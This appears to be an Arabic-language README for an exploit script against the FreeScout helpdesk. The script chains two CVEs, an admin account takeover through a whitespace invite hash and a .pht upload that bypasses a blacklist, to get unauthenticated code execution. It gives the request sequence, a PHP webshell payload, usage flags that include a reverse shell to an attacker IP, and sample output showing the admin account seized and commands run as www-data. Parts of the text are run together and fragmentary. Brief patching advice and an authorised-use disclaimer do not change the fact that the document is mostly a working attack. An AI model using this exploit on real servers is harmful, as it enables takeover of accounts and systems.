
نص استغلال يربط CVE-2026-53595 (الاستيلاء على حساب مجهول) و CVE-2026-53593 (رفع .pht) لتنفيذ تعليمات برمجية عن بعد غير مصادق عليه في برنامج مساعدة مكتب FreeScout.
تنفيذ تعليمات برمجية عن بُعد دون مصادقة في FreeScout ≤ 1.8.223 (نظام دعم فني مبني على Laravel) عبر ربط ثغرتين، وكلتاهما أُصلحتا في 1.8.224:
POST /user-setup/{hash}/{invite_sent_at} الحساب عبر عمود invite_hash فقط. المستخدم المفعَّل لديه invite_hash = ''، وعلى MySQL/MariaDB فإن تساوي VARCHAR يتجاهل المسافات اللاحقة، لذا فإن hash = %20 يطابق حساب المسؤول. بوابة انتهاء الصلاحية invite_sent_at تفك تشفير القيمة باستخدام كلمة مرور المستخدم كمفتاح، لكن دالة فك التشفير تعيد الإدخال الخام عند الفشل (كتلة catch فارغة)، وبالتالي يُقبل طابع زمني حالي غير مشفَّر بصيغة unix. بعدها تستبدل نقطة النهاية البريد الإلكتروني وكلمة مرور الحساب وتُسجّل دخولك..pht. القائمة السوداء للرفع (php.*|sh|pl|phtml|phar) لا تغطي .pht، الذي ينفّذه Apache mod_php كملف PHP.اربط بينهما وسيحصل مهاجم غير مصادق على تنفيذ تعليمات برمجية بصلاحيات مستخدم خادم الويب (www-data).
GET /user-setup/%20/<unix_ts> للحصول على كوكي جلسة + رمز CSRF.POST إلى نفس الرابط لاستبدال البريد الإلكتروني/كلمة مرور المسؤول وتسجيل الدخول (ATO).POST /uploads/upload لملف shell.pht (<?php system($_GET['c']); ?>)../exploit.sh -t <target> [options]
-t, --target URL target base URL (e.g. http://10.10.10.10) [required]
-c, --cmd CMD run a single command (default: id)
--lhost IP reverse shell: attacker IP (start nc first)
--lport PORT reverse shell port (default 4444)
--email ADDR email to set on the seized admin (default [email protected])
--password PASS password to set (default Pwned12345)
-h, --help
$ ./exploit.sh -t http://10.10.10.10
[*] fetching setup form (hash=%20, ts=1784500000) ...
[*] seizing admin -> [email protected] / Pwned12345 ...
[+] admin account taken over (you can also log in at http://10.10.10.10/login)
[*] uploading .pht webshell ...
[+] webshell: http://10.10.10.10/storage/uploads/p2Bj81XDu6DbBJ4Sq5mYW05zY.pht
[+] id -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ ./exploit.sh -t http://10.10.10.10 -c 'cat /var/www/local.txt'
...
[+] cat /var/www/local.txt -> f1a7c30e9b6d24851e6d24851f1a7c30
# reverse shell (run `nc -lvnp 4444` first)
$ ./exploit.sh -t http://10.10.10.10 --lhost 10.10.14.7 --lport 4444
[+] admin account taken over ...
[+] webshell: http://10.10.10.10/storage/uploads/....pht
[*] sending reverse shell to 10.10.14.7:4444 ...
[+] payload sent — check your listener.
bash, curl, jq1.0.x – 1.8.223؛ الإصدار 1.8.224+ يصلح الثغرتين (302 يتحول إلى محاولة استيلاء فاشلة)..pht على كون الخادم يشغّل ملفات .pht عبر mod_php — بيئة «Apache القياسي + libapache2-mod-php» التي تستهدفها الثغرة.system() عبر /bin/sh (dash على Debian/Ubuntu)، الذي لا يفهم إعادة التوجيه >& /dev/tcp/... الخاصة بـ bash فقط، كما أن base64 يتجنب جميع مشاكل علامات الاقتباس.! عمدًا — فعلامة ! تستدعي توسيع السجل (history expansion) في bash/zsh التفاعلي وتُفسد الأوامر الملصقة.VARCHAR لرموز الأمان (تصادمات المسافات اللاحقة)، ولا تتعامل أبدًا مع فك التشفير الفاشل كقيمة صالحة — ارفض الرموز الفارغة/غير الصالحة.لأغراض اختبار الاختراق المصرح به والتعليم فقط. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.